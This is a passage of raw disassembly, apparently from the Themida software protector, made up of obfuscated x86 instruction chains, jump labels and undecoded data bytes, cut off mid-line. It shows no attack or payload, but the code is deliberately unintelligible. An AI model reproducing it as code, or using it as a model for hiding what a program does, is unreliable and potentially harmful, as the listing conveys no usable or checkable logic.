6ABB06B1h inc ebp push edi mov edi, 5161C63Ah sub ebp, edi pop edi sub ebx, ebp jmp loc_4FDA0C ; --------------------------------------------------------------------------- dw 0E281h dd 12AB2B40h, 3698EA81h, 0C28160B6h, 61EE5DA7h, 4B5AD331h dd 50AFF381h, 0EB811911h, 533FD903h, 0E95BDD01h, 0FFFF95E7h ; --------------------------------------------------------------------------- loc_4FFBEC: ; CODE XREF: Themida_:005021C8j add ecx, ebp mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_4FD326 ; --------------------------------------------------------------------------- db 8Bh dd 0E9562414h, 195Bh, 0C9F28142h, 68343CEEh, 0CB2h, 0FF86C3E9h dd 4BFFFh, 0F9290000h, 240C875Fh, 8924248Bh, 0E3E92404h db 60h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FFC2F: ; CODE XREF: Themida_:004FE62Ej push esi jmp loc_4FBE37 ; --------------------------------------------------------------------------- aPG db ' Ú[P´g',0 dd 6EE958E2h, 0FEFFFF67h, 3FC380CBh, 66E9562Ch, 8BFFFFB6h dd 0FEE92414h, 87FFFFE7h, 575C241Ch, 9C94E953h, 0C33FFFFh dd 24248B24h, 0C89E951h, 0EA810000h, 37D34332h, 0FFAA53E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FFC79: ; CODE XREF: Themida_:004FA755j add edx, 0BCC0C9FDh mov edi, edx push dword ptr [esp] pop edx add esp, 4 add eax, edi pop edi add eax, 4 jmp loc_4F6263 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 2A2DD029h, 8B1C1A13h, 89532414h, 4C381E3h, 81000000h dd 4C3h, 0FF9DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FFCBA: ; CODE XREF: Themida_:004F7B4Dj add ebp, edi sub ebp, 39CF54EBh pop edi jmp loc_50145D ; --------------------------------------------------------------------------- loc_4FFCC8: ; CODE XREF: Themida_:004FE29Fj mov esp, [esp] add [edi+24h], ecx jmp loc_4FB38F ; --------------------------------------------------------------------------- loc_4FFCD3: ; CODE XREF: Themida_:004FB96Aj push edi push 15002EF3h pop edi mov ebp, 0EAFFD10Eh jmp loc_4FBA39 ; --------------------------------------------------------------------------- dd 5AD50159h, 8704C583h, 815C242Ch, 4ECh, 24048900h, 0D406BCB8h dd 0A125484Ch, 55271727h, 0FFA5F6E9h, 0C8B66FFh, 4EC8124h dd 89000000h, 0EFE92414h, 50FFFFA0h, 2A00B568h, 0E0C1584Bh dd 72C6E908h, 34FFFFFFh, 0FECDE924h, 895CFFFFh, 5D54242Ch dd 69EAE950h, 0FB25FFFFh, 55021F06h, 9C260768h, 0F5815D02h dd 6100061Dh, 0FF83E4E9h, 64EA81FFh, 4253C240h, 0E30C281h dd 5BE9137Ah, 47FFFFFEh, 3C12BB53h, 0E3813877h, 69CC022Ah dd 676CF381h, 0DF31C8D2h, 11892D5Bh, 0F8292D63h, 63118905h dd 73685F2Dh, 8900003Ah, 57532414h, 9E220CBFh, 0EA27E96Ah dd 0E2C1FFFFh, 0C1DAF706h, 0EAC102E2h, 55C28105h, 29016803h dd 0A362E9D1h, 2489FFFFh, 24048324h, 2434FF04h, 0B5CE9h dd 1C77FF00h, 6658669Dh, 9C240419h, 0FF5F3DE9h, 48B66FFh dd 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h, 54240489h dd 0FFD8B8E9h, 2EF868FFh, 21E90000h, 4FFFFCFh, 366866EDh dd 14896652h, 400B624h, 2CF028F4h, 148B66F4h, 2C48124h dd 51000000h, 887DB753h, 0E1805BF9h, 6E1C033h, 0FE02E9C0h dd 0EAE953C9h, 53FFFFE6h, 200BBh, 1C5F0900h, 52241C8Bh dd 0DD685A54h, 8900005Bh, 0E952242Ch, 0FFFF72A6h ; --------------------------------------------------------------------------- loc_4FFE50: ; CODE XREF: Themida_:004F7621j mov esi, 40000h and eax, esi mov esi, [esp] sub esp, 4 jmp loc_4FDFAF ; --------------------------------------------------------------------------- dw 0E3C1h dd 57E95106h db 0A6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FFE6B: ; CODE XREF: Themida_:004FAC4Fj mov edi, 3E981727h jmp loc_4F9A54 ; --------------------------------------------------------------------------- db 33h, 1Ch, 24h dd 33241C31h, 248B241Ch, 243C8924h, 0BE565F54h, 8BA223Bh dd 3FC3BF57h, 11E9327Dh db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FFE97: ; CODE XREF: Themida_:004F9975j add ecx, 4 jmp loc_4F9391 ; --------------------------------------------------------------------------- db 0D1h dd 0B2BD55E2h, 8157B81Eh, 506C4AE5h, 49C58120h, 8116577Eh dd 0F6B2FDC5h, 5DEA2941h, 0E95AD029h, 0FFFFB9BAh, 89241489h dd 4C281E2h, 56000000h, 662977BEh, 0DFE68118h, 0C12C7D5Fh dd 0EAE907E6h, 0E9000022h, 0FFFF5E2Ah, 4304C483h, 0FFE4B2E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FFEF1: ; CODE XREF: Themida_:004FF316j mov [esp], ebx mov ebx, 0BD0BCEh jmp loc_5000F4 ; --------------------------------------------------------------------------- dw 8F5Dh dd 0E95C2404h, 27CFh, 0FF5E05E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FFF0D: ; CODE XREF: Themida_:004F9CFEj mov esi, edx pop edx sub esi, edx pop edx and ebp, esi pop esi push ecx mov ecx, 497356E9h add ebp, ecx pop ecx mov eax, ebp mov ebp, [esp] add esp, 4 jmp loc_502573 ; --------------------------------------------------------------------------- dd 8759CA01h, 248B2414h, 0BC9FE924h, 3431FFFFh, 24343324h dd 5DCCE95Ch, 0C183FFFFh, 240C8704h, 0FFE890E9h, 240489FFh dd 69E988B0h, 80FFFF84h, 0EE282EC5h, 0FFDD34E9h, 28AB2CFFh dd 4AE951D8h, 8BFFFF75h db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax mov eax, 671201B3h neg eax xor eax, 1A3D271Ch and eax, 5A8C616Bh shr eax, 4 jmp loc_5007D8 ; --------------------------------------------------------------------------- loc_4FFF8F: ; CODE XREF: Themida_:004FD696j push dword ptr [esp] pop eax push eax push esp pop eax push edi push edx jmp loc_4FD0BB ; --------------------------------------------------------------------------- db 57h, 89h, 0E7h dd 0FFD218E9h, 0E9B951FFh, 107A615h, 5908244Ch, 4244401h dd 4246C81h, 7A615E9h, 2434FF58h, 0FF61DDE9h, 0C18159FFh dd 4, 0FFF254E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FFFD1: ; CODE XREF: Themida_:004FA4BDj push ebx mov ebx, 9334110h add [esp+4], ebx pop ebx mov esi, [esp] add esp, 4 sub esi, 9334110h sub esp, 4 mov [esp], esi jmp loc_4FD704 ; --------------------------------------------------------------------------- loc_4FFFF6: ; CODE XREF: Themida_:004F62A5j sub ebp, edx pop edx jmp loc_4F7F01 ; --------------------------------------------------------------------------- loc_4FFFFE: ; CODE XREF: Themida_:004FE036j xchg ebp, [esp] jmp loc_4FD4ED ; --------------------------------------------------------------------------- loc_500006: ; CODE XREF: Themida_:005023F4j pop esp push dword ptr [edi+eax*4] sub dword ptr [esp], 2E3D73FAh pop eax sub esp, 4 mov [esp], ebx jmp loc_50264A ; --------------------------------------------------------------------------- db 0ACh, 66h, 68h dd 89660DFBh, 0DB22414h, 0FFCC3EE9h, 2B951FFh, 0E9000000h dd 0FFFF72E7h, 0EA7B9ABEh, 81DEF740h, 7F59BCC6h, 0BAEE8159h dd 1CAB5D0h, 0E9515EF2h, 0FFFFF12Dh, 63FC68h, 240C8900h dd 6856E189h, 54Fh, 0B8240489h, 2B3C55BAh, 0CCE95048h db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_500073: ; CODE XREF: Themida_:004FD9C6j mov esi, ebp pop ebp mov edx, esi pop esi mov edi, edx pop edx mov ecx, [esp] add esp, 4 jmp loc_4FDC55 ; --------------------------------------------------------------------------- db 0F6h dd 37E950DAh, 2DFFFF66h, 1F7752F2h, 50DF0559h, 2CE93AA9h db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50009F: ; CODE XREF: Themida_:004FC9C5j or edx, 37E259E4h push ecx mov ecx, 383946B8h or edx, ecx jmp loc_4FA11E ; --------------------------------------------------------------------------- dw 0FF50h dd 0E9042474h, 0FFFF673Dh, 7CE2BB53h, 0DBF77CF3h, 6804E3C1h dd 30D6h, 0E9242C89h, 1519h, 2DBFEB81h, 0E95A1027h, 144Eh dd 4C181h, 0C1830000h, 240C8704h, 0E924248Bh, 0FFFF5C1Eh ; --------------------------------------------------------------------------- loc_5000F4: ; CODE XREF: Themida_:004FFEF9j sub ebx, 0FB7ECA53h sub edx, ebx mov ebx, [esp] add esp, 4 sub edx, ebx add edx, 53E417Bh sub edx, 522C3B1Ch jmp loc_4F61E3 ; --------------------------------------------------------------------------- loc_500118: ; CODE XREF: Themida_:00500ADAj mov eax, esp push ebx mov ebx, 4 add eax, ebx jmp loc_4FA38E ; --------------------------------------------------------------------------- db 5Ah dd 8E685056h, 0E96EA03Dh, 0FFFF6DCAh, 12A8BF57h, 0FA2944EAh dd 0C281585Fh, 5F604BAEh, 0EA81EA01h, 5F604BAEh, 39F7EA81h dd 94E90007h db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_500157: ; CODE XREF: Themida_:00501B8Dj xor edx, ecx jmp loc_4FAA44 ; --------------------------------------------------------------------------- dw 81ACh dd 4ECh, 0B4FFE900h, 0C781FFFFh, 4, 5C243C87h, 1BE5E9h dd 37E95900h, 1000004h, 61662DF8h, 1005266Ch, 8B7A817Fh dd 8957243Ch, 4C781E7h, 81000000h, 4C7h, 243C8700h, 7B46E95Ch dd 32BDFFFFh, 2D029624h, 4A6D3341h, 4105E829h, 5D4A6D33h dd 3205F801h, 5F029624h, 0E902C083h, 0FFFFD6AAh, 8BEB295Bh dd 0C483242Ch, 0E9C30104h, 0FFFF98E7h ; --------------------------------------------------------------------------- loc_5001D8: ; CODE XREF: Themida_:004F8C06j mov [esp], esi mov esi, 5CDA6ED8h shr esi, 2 jmp loc_4F9B7B ; --------------------------------------------------------------------------- dd 0DEBD5559h, 0C119A575h, 0D5F708EDh, 0C108EDC1h, 0E0E905EDh dd 0F6000008h, 0E99C241Ch, 0FFFF5B0Ah, 0E9D02966h, 0FFFF6551h dd 0BE6BE954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_500216: ; CODE XREF: Themida_:004F76BFj mov ebp, 151A4F9Dh sub ebp, 1EF4321Ah neg ebp and ebp, 0F854B5Fh jmp loc_4FD97A ; --------------------------------------------------------------------------- dw 0C381h dd 6B0E6178h, 0EB81F301h, 6B0E6178h, 0F0DC381h, 4BE90CACh dd 66000019h, 0E9240C89h, 1AB4h, 81D2F742h, 0DECB55EAh dd 5AD789C6h, 4247C01h, 8B2434FFh, 0C481243Ch, 4, 4C481h dd 48F0000h, 4BE5624h, 1000000h, 8B042474h, 89532434h dd 4C381E3h, 81000000h, 4C3h, 241C8700h, 0FF89E4E9h, 59CA29FFh dd 11D1CA81h, 0B9513A9Eh, 310704B1h, 0E904E1C1h, 13C9h dd 4C581h, 2C330000h, 870FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5002BE: ; CODE XREF: Themida_:004FE9D9j mov [esp], ecx jmp loc_4FAEE5 ; --------------------------------------------------------------------------- dw 0C781h dd 2, 2474FF57h, 891BE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5002D6: ; CODE XREF: Themida_:004FAFA3j add ecx, 4 xchg ecx, [esp] pop esp jmp loc_4F74CE ; --------------------------------------------------------------------------- loc_5002E5: ; CODE XREF: Themida_:004F6437j pop esp sub esp, 4 mov [esp], edx mov edx, 542E3127h or edx, 7F6A77C6h xchg ebp, edx jmp loc_4F9389 ; --------------------------------------------------------------------------- db 81h, 0E9h, 4 dd 87000000h, 20E9240Ch, 89000010h, 331D68E6h, 93E90000h dd 56FFFF8Dh, 0AB412CBEh, 0BED8B833h, 0F001CC54h, 5C6FE95Eh dd 0BB53FFFFh, 22B87A98h, 0C60FC381h, 0D88927E7h, 0FFB09BE9h dd 0F7E987FFh, 946BE9D5h, 0E589FFFFh, 4C581h, 0C5810000h dd 4, 5C242C87h, 3A53EB81h, 0EB8134A5h, 5F78B126h, 0E95BD801h dd 0FFFFC0FCh ; --------------------------------------------------------------------------- loc_500370: ; CODE XREF: Themida_:004FDFE6j not edx jmp loc_4FE33D ; --------------------------------------------------------------------------- db 53h dd 888BB652h, 0D8285AF3h, 81241C8Bh, 4C4h, 66D00000h, 0BCA5E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_500392: ; CODE XREF: Themida_:004F7A2Dj mov ebp, 552F6306h xor [esp+4], ebp jmp loc_4FEDAD ; --------------------------------------------------------------------------- dd 0C107E9C1h, 0E9C103E1h, 0F1BE5608h, 0E9668B16h, 0FFFF7DB1h dd 0E940478Fh, 0FFFF5956h, 20EF815Ah, 295DE53Dh, 1E71E9EFh dd 3BB80000h, 5705C263h, 0F989C789h, 97FEE95Fh, 1433FFFFh dd 0C2E95C24h, 58FFFFE2h, 0D4EB80h, 0D4C380C3h, 0A6268h dd 240C8900h, 0FFC240E9h, 4EC83FFh, 0BD242C89h, 4, 815DEB89h dd 0A066DAC5h, 0E9DD0142h, 0FFFFE2F5h, 0E9240489h, 0FFFFA78Ch dd 5783C381h, 1594D33h, 0EC835BDAh, 71CDE904h, 0E189FFFFh dd 0FF814BE9h, 0C8B66FFh, 5E545624h, 4C681h, 0EE810000h dd 4, 31243433h, 34332434h, 0C895C24h, 0C8B5424h, 0E7895724h dd 4C781h, 0C7830000h, 243C8704h, 4BB535Ch, 81000000h dd 4F1F5AC1h, 81D90177h, 4F1F5AE9h, 0C1835B77h, 240C8702h dd 0FF82A6E9h, 56F187FFh, 5E241CF7h, 0A1E9F187h, 0FFFFFFC8h dd 83592434h, 148904ECh, 148B5424h, 0B969E924h, 0C481FFFFh dd 4, 0E95A5452h, 0FFFF8CEFh, 5854E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5004BE: ; CODE XREF: Themida_:004FE800j pop eax jmp loc_4F79E1 ; --------------------------------------------------------------------------- dd 6824048Bh, 311Bh, 68242C89h, 2174h, 81242489h, 4ECh dd 242C8900h, 8341E950h, 0EBC1FFFFh, 0EABE5608h, 8119E473h dd 6B695FE6h, 0CE814E72h, 7FD33A48h, 13B2EE81h, 0EE811A12h dd 0A1B1E00h, 0B210C681h, 0F329E2ABh, 0E9D9295Eh, 0FFFFD046h ; --------------------------------------------------------------------------- loc_500518: ; CODE XREF: Themida_:004FBA8Dj push edi mov edi, 0A7425449h jmp loc_500A3E ; --------------------------------------------------------------------------- loc_500523: ; CODE XREF: Themida_:004FAF16j mov esp, [esp] jmp loc_4FA7AE ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF57E2h, 4C681h, 34870000h, 6A0BE924h, 0E320FFFFh dd 0FFE192E9h, 0E9028FFFh, 0FFFF57C6h, 4EC81h, 0C890000h dd 4B924h, 27E90000h, 0ADFFFF5Bh, 0FF5A86E9h, 4C181FFh dd 0E9000000h, 0FFFFF9D6h ; --------------------------------------------------------------------------- loc_500570: ; CODE XREF: Themida_:004FBFA2j pop ecx mov esi, ebp mov ebp, [esp] add esp, 4 and ecx, esi mov esi, [esp] push ecx jmp loc_4FAC16 ; --------------------------------------------------------------------------- dd 240C8B66h, 60BF68h, 242C8900h, 242C8B54h, 4C481h, 89570000h dd 4C781E7h, 81000000h, 4EFh, 0DD64E900h, 248BFFFFh, 0B73E924h dd 46250000h, 0E968810Dh, 0FFFFC60Fh, 8104C483h, 4C4h dd 53515200h, 0FFEC6FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5005D1: ; CODE XREF: Themida_:004F76ECj jmp loc_4F5D12 ; --------------------------------------------------------------------------- dw 0CB80h dd 0AFC380F1h, 5279EB80h, 0D188DA88h, 0F0E95B5Ah db 64h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5005EB: ; CODE XREF: Themida_:004FEDD7j mov ebp, [esp] push esi jmp loc_4F7D36 ; --------------------------------------------------------------------------- dd 67C4CF81h, 0BFE95F45h db 7Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5005FF: ; CODE XREF: Themida_:004FD0F8j sub ebp, 2 xchg ebp, [esp] pop esp mov [esp], bx jmp loc_4FD4FC ; --------------------------------------------------------------------------- loc_500612: ; CODE XREF: Themida_:00502725j add edi, 69FC514Dh push eax jmp loc_5019DE ; --------------------------------------------------------------------------- loc_50061E: ; CODE XREF: Themida_:00500FE5j mov esi, esp add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], esi push eax mov eax, 741D7B11h mov esi, eax pop eax push eax mov eax, 3BFC5AE6h add eax, 6C770FCDh add eax, 0E56F1A3Ch add esi, eax pop eax and eax, esi mov esi, [esp] push ecx mov ecx, esp push edi mov edi, 4 add ecx, edi pop edi push ebp mov ebp, 4 add ecx, ebp mov ebp, [esp] add esp, 4 xchg ecx, [esp] pop esp or eax, eax jz loc_4FA4B4 push ebx push 1Ch jmp loc_4F67D0 ; --------------------------------------------------------------------------- loc_500693: ; CODE XREF: Themida_:004F80D0j push esp mov eax, [esp] jmp loc_4F710A ; --------------------------------------------------------------------------- loc_50069C: ; CODE XREF: Themida_:004FF935j push ebx push edi push 16986925h pop edi not edi push edi not dword ptr [esp] pop edi sub edi, 0F6411DE7h mov ebx, edi pop edi xor [esp+4], ebx mov ebx, [esp] add esp, 4 mov eax, [esp] push eax jmp loc_4F6D1B ; --------------------------------------------------------------------------- dw 0EF81h dd 698F7AB7h, 243C875Bh, 5D48E95Ch, 0C481FFFFh, 4, 4EC8352h dd 0E9240489h, 0FFFF5BD7h ; --------------------------------------------------------------------------- loc_5006EC: ; CODE XREF: Themida_:00500B32j xchg ebp, [esp] pop esp jmp loc_4F6C5D ; --------------------------------------------------------------------------- db 52h, 0E9h, 20h dd 0FFFFFF9Eh, 34FF2434h, 0C4835824h, 21E86804h, 14890000h dd 4EC8124h, 89000000h, 4832424h, 565A0424h, 1A9CE9h, 89665C00h dd 0A0B62414h, 0C043B353h, 2CE908EBh, 33FFFFE2h, 0E9E92404h dd 2DFFFFBCh, 65984031h, 0FFDBC1E9h db 0FFh ; --------------------------------------------------------------------------- loc_500745: ; CODE XREF: Themida_:004FF89Fj xor eax, [esp] xor [esp], eax jmp loc_501B5C ; --------------------------------------------------------------------------- dd 4C481h, 0C3810000h, 2, 75E7E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_500762: ; CODE XREF: Themida_:004FCAABj mov ecx, [esp] add esp, 4 jmp loc_500D3D ; --------------------------------------------------------------------------- loc_50076D: ; CODE XREF: Themida_:00501463j push ebp push dword ptr [esp+4] jmp loc_4FE013 ; --------------------------------------------------------------------------- db 81h dd 6C0175CBh, 8EBC147h, 0FF71A1E9h db 0FFh ; --------------------------------------------------------------------------- loc_500785: ; CODE XREF: Themida_:004FD2C9j sub ebp, eax pop eax pop edx xchg ebp, [esp] pop esp jmp loc_4FDCD8 ; --------------------------------------------------------------------------- dw 0C329h dd 0FFAACBE9h, 34C781FFh, 0E925490Eh, 0FFFF8206h, 39BDF781h dd 0CF815B4Bh, 486B51B0h, 4147F781h, 0F78123D9h, 5B3236F7h dd 335FFD01h, 0F3E9242Ch db 57h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5007C7: ; CODE XREF: Themida_:004FB38Aj push 4FD657D0h jmp loc_4F99DB ; --------------------------------------------------------------------------- db 53h, 56h, 0E9h dd 0FFFFEA9Dh ; --------------------------------------------------------------------------- loc_5007D8: ; CODE XREF: Themida_:004FFF8Aj dec eax push edi mov edi, 0AC04817h neg edi and edi, 0A5F79BBh jmp loc_4FE9A9 ; --------------------------------------------------------------------------- dd 0CA81D2F7h, 1FC8176Ch, 0E8EA814Ah, 1DFD8B7h, 0B8505AD3h dd 4, 0FFA4BCE9h, 0CA815EFFh, 67CF3FF9h, 2922BB53h, 0DA29799Eh dd 0E9D6315Bh, 0FFFFE807h, 68FCF580h, 0 dd 8A242C28h, 0C483242Ch, 8E5C004h, 0FF5E93E9h, 0D5F381FFh dd 55781609h, 0DE9DD89h, 0ADFFFF6Ah, 0BF57D831h, 76DB5B3h dd 762BCB05h, 2DF80156h, 56762BCBh, 0FFB2B9E9h, 68535EFFh dd 234Dh, 0BD242C89h, 47AB2682h, 0FFF09FE9h, 405FFh, 0E8830000h dd 24048704h, 2414895Ch, 27785BAh, 4EC832Ch, 0B8240489h dd 0B3B1D46h, 635ABF57h, 0BD551DC4h, 31522B96h, 41E9EF01h db 6Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5008A7: ; CODE XREF: Themida_:004FDCB8j push dword ptr [esp] push dword ptr [esp] jmp loc_500ACE ; --------------------------------------------------------------------------- dw 0E95Bh dd 0FFFFC2CFh, 0BA241489h, 6B8E071Fh, 241568h, 0CA09E900h dd 3C89FFFFh, 3C8B5424h, 4C48124h, 81000000h, 4C7h, 0A66EE900h dd 0C33FFFFh, 240C3124h, 8B240C33h, 4012424h, 1BE99C24h dd 89FFFF54h, 6C95E9E1h, 0D0B1FFFFh, 1C43E9h, 75E95300h db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50090B: ; CODE XREF: Themida_:004FEBCBj sub esi, 1 shr esi, 5 dec esi jmp loc_4FA056 ; --------------------------------------------------------------------------- dw 5E54h dd 0FF5848E9h, 0C4835BFFh, 4C38104h, 68000000h, 5D26h dd 0FF7F3DE9h, 3E7C1FFh, 599FE781h, 0F78121D1h, 6F896213h dd 2FFBEE81h, 0C68109F2h, 2D0879FFh, 0EE81FE29h, 2D0879FFh dd 2FFBC681h, 3C8B09F2h, 4C48324h, 1CD6E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50096A: ; CODE XREF: Themida_:004FA4EBj pop eax push ecx jmp loc_4F97E6 ; --------------------------------------------------------------------------- db 0BEh, 40h, 20h dd 684E330Fh, 3C7h, 0B8240489h, 10A81A68h, 0FF6A37E9h dd 5CC781FFh, 29779927h, 5CEF81C7h, 58779927h, 0FFD0A4E9h dd 0C38143FFh, 0A258A04Fh, 575BDA01h, 0DA15F0BFh, 5FFA0902h dd 8904EC83h, 34E9243Ch, 55FFFF76h, 0FF5E97E9h, 0D3C580FFh dd 0E9E3B652h, 0FFFF7D16h, 2404085Ch, 533CE99Ch, 8B66FFFFh dd 25E92404h, 66FFFF68h, 8324048Bh, 148904ECh, 68E28924h dd 754Dh, 0FF5882E9h db 0FFh ; --------------------------------------------------------------------------- loc_5009F5: ; CODE XREF: Themida_:004FCAB1j mov ebp, [esp] add esp, 4 jmp loc_500B92 ; --------------------------------------------------------------------------- db 5Ah dd 0FEAFF180h, 0B65266C1h, 66F1207Eh, 8124148Bh, 2C4h dd 0B8C18000h, 51C88850h, 0CE88C188h, 0B28DE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_500A2A: ; CODE XREF: Themida_:004FCFA5j push 361Ah mov [esp], edx push esp mov edx, [esp] push ebx mov ebx, esp jmp loc_4FBD1B ; --------------------------------------------------------------------------- loc_500A3E: ; CODE XREF: Themida_:0050051Ej add edx, edi pop edi mov edi, edx pop edx shl edi, 4 and edi, 55326339h jmp loc_4FE408 ; --------------------------------------------------------------------------- dw 433h dd 24043124h, 5C240433h, 0E95F5657h, 17BFh, 0E9028F66h dd 0FFFF52A6h ; --------------------------------------------------------------------------- loc_500A6C: ; CODE XREF: Themida_:004FEE79j mov esp, [esp] mov [esp], eax push esp pop eax add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebp mov ebp, 4B6824B4h xor ebp, 4B6824F4h and ecx, ebp jmp loc_4F9950 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF5276h, 952B6CBAh, 0C2814A63h, 31781Eh, 0A385EA81h dd 0BAE963C6h db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_500AB3: ; CODE XREF: Themida_:004FD132j mov [esp], ebx jmp loc_4F72DD ; --------------------------------------------------------------------------- db 5Eh dd 0FFAA6AE9h, 81C129FFh, 5A3FD7C1h, 0A85DE913h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_500ACE: ; CODE XREF: Themida_:005008ADj pop ebx add esp, 4 push 3E69h mov [esp], eax jmp loc_500118 ; --------------------------------------------------------------------------- db 4Dh dd 0FF2DED81h, 0EE010007h, 2434875Dh, 0E924248Bh, 0FFFFEEF3h dd 5804C483h, 8904EC83h, 0E950240Ch, 0FFFFC831h, 0E955E189h dd 0FFFF979Fh, 0E924048Fh, 0FFFFE3ACh, 0EE6BE56h, 3BE95406h dd 55FFFF73h, 0CCE95D54h db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_500B27: ; CODE XREF: Themida_:00501993j shr ebx, 6 jmp loc_4FADCD ; --------------------------------------------------------------------------- loc_500B2F: ; CODE XREF: Themida_:004F62BEj sub ebp, 4 jmp loc_5006EC ; --------------------------------------------------------------------------- db 0C0h dd 0CAFE08EAh, 0E98EEA80h, 0FFFFB608h, 148BD301h, 4C48124h dd 81000000h, 0FC3C92EBh, 9DC38121h, 157CF40h, 8378E9C3h dd 0E800FFFFh, 59663904h, 4EC8151h, 89000000h, 0B1512404h dd 28BFB4FDh, 240C8BCCh, 8804C483h, 24048BE5h, 51E38953h dd 4B9h, 0B25CE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_500B92: ; CODE XREF: Themida_:005009FEj push edi mov edi, 4 add ebp, edi pop edi push esi push ecx mov ecx, 3D2E4784h not ecx and ecx, 29464E44h xor ecx, 400844h mov esi, ecx pop ecx add ebp, esi pop esi jmp loc_4F9579 ; --------------------------------------------------------------------------- db 80h dd 0EC8196EBh, 4, 0FFB1D9E9h db 0FFh ; --------------------------------------------------------------------------- loc_500BC9: ; CODE XREF: Themida_:004F910Dj add esp, 4 add ecx, 4 push edx mov edx, 4 add ecx, edx mov edx, [esp] push edi mov edi, esp jmp loc_4F7B10 ; --------------------------------------------------------------------------- loc_500BE8: ; CODE XREF: Themida_:004F9053j pop ecx add ebp, 4D4FC409h jmp loc_4FCA6A ; --------------------------------------------------------------------------- dd 31241433h, 0ABE92414h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_500BFF: ; CODE XREF: Themida_:004F67DCj mov ecx, esp add ecx, 4 jmp loc_4F9085 ; --------------------------------------------------------------------------- dd 66F30166h, 0C381665Eh, 2DE95FDCh db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_500C1B: ; CODE XREF: Themida_:004F60E3j mov [esp], ebx jmp loc_50222B ; --------------------------------------------------------------------------- db 87h dd 0D25C242Ch, 0E99C243Ch, 0FFFF50E2h, 0FF50DDE9h db 0FFh ; --------------------------------------------------------------------------- loc_500C35: ; CODE XREF: Themida_:004F8426j mov [esp], ebp push 78071BEFh pop ebp push ebx mov ebx, 0 add ebx, 14BC0406h sub ebx, ebp jmp loc_4F8974 ; --------------------------------------------------------------------------- db 5Bh, 53h, 0BBh dd 0FAA6D7DDh, 53E9D829h, 0B2FFFFFCh, 0B0FDE989h, 6850FFFFh dd 7DE12D73h, 8124048Bh, 4C4h, 0EB2500h, 0E95264CDh, 0FFFFCA8Fh dd 43D3F759h, 83CEF381h, 0DF0102E8h, 83241C8Bh, 0C18104C4h dd 792E5F25h, 215E9h db 0 ; --------------------------------------------------------------------------- loc_500C9D: ; CODE XREF: Themida_:004FF90Fj push dword ptr [esp] jmp loc_4FA90E ; --------------------------------------------------------------------------- db 56h, 0BEh, 75h dd 811AA308h, 0FB49D4EEh, 2DC6814Fh, 81465C2Eh, 1331A3C6h dd 9B8500Bh, 4839AF3Bh, 0FF9397E9h, 0C4815AFFh, 4, 0FF9161E9h dd 7A2568FFh, 1C890000h, 71ADBB24h, 9FE956EBh db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_500CE7: ; CODE XREF: Themida_:004F918Fj and ebx, ebp mov ebp, [esp] push esi jmp loc_4FC299 ; --------------------------------------------------------------------------- aQishra db 'Q‰áhrA',0 align 2 dw 1C89h dd 31766824h, 435B1102h, 994E9h, 4C58100h, 83000000h, 0BE902C5h db 75h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_500D17: ; CODE XREF: Themida_:0050149Dj mov eax, 30B09D2h and edx, eax pop eax or edx, 392F24F2h push eax mov eax, 36AC5E28h sub eax, 7DB22A01h push esi push ebp push esi mov esi, 4ECC75AEh jmp loc_4F6A68 ; --------------------------------------------------------------------------- loc_500D3D: ; CODE XREF: Themida_:00500768j xchg ebx, [esp] mov esp, [esp] mov [esp], dx push ax pushf jmp loc_4F6041 ; --------------------------------------------------------------------------- db 0B0h dd 0C588517Ah, 0FFC9C0E9h db 0FFh ; --------------------------------------------------------------------------- loc_500D59: ; CODE XREF: Themida_:004F62E5j and ebx, 10FD7F43h neg ebx jmp loc_4FEECF ; --------------------------------------------------------------------------- dw 248Bh dd 0BB0F6624h, 0E99C2404h, 0FFFF4F9Eh, 3B9BF681h, 0EFE95BE6h dd 8BFFFF6Ah, 0BE92424h db 6Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_500D87: ; CODE XREF: Themida_:004FCA3Bj push 2D72ED8h mov eax, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_4FF548 ; --------------------------------------------------------------------------- db 80h, 0C5h, 82h dd 807FEB80h, 0EB0039C3h, 8039EB80h, 0DFE97FC3h, 66FFFFBBh dd 0E9240C8Bh, 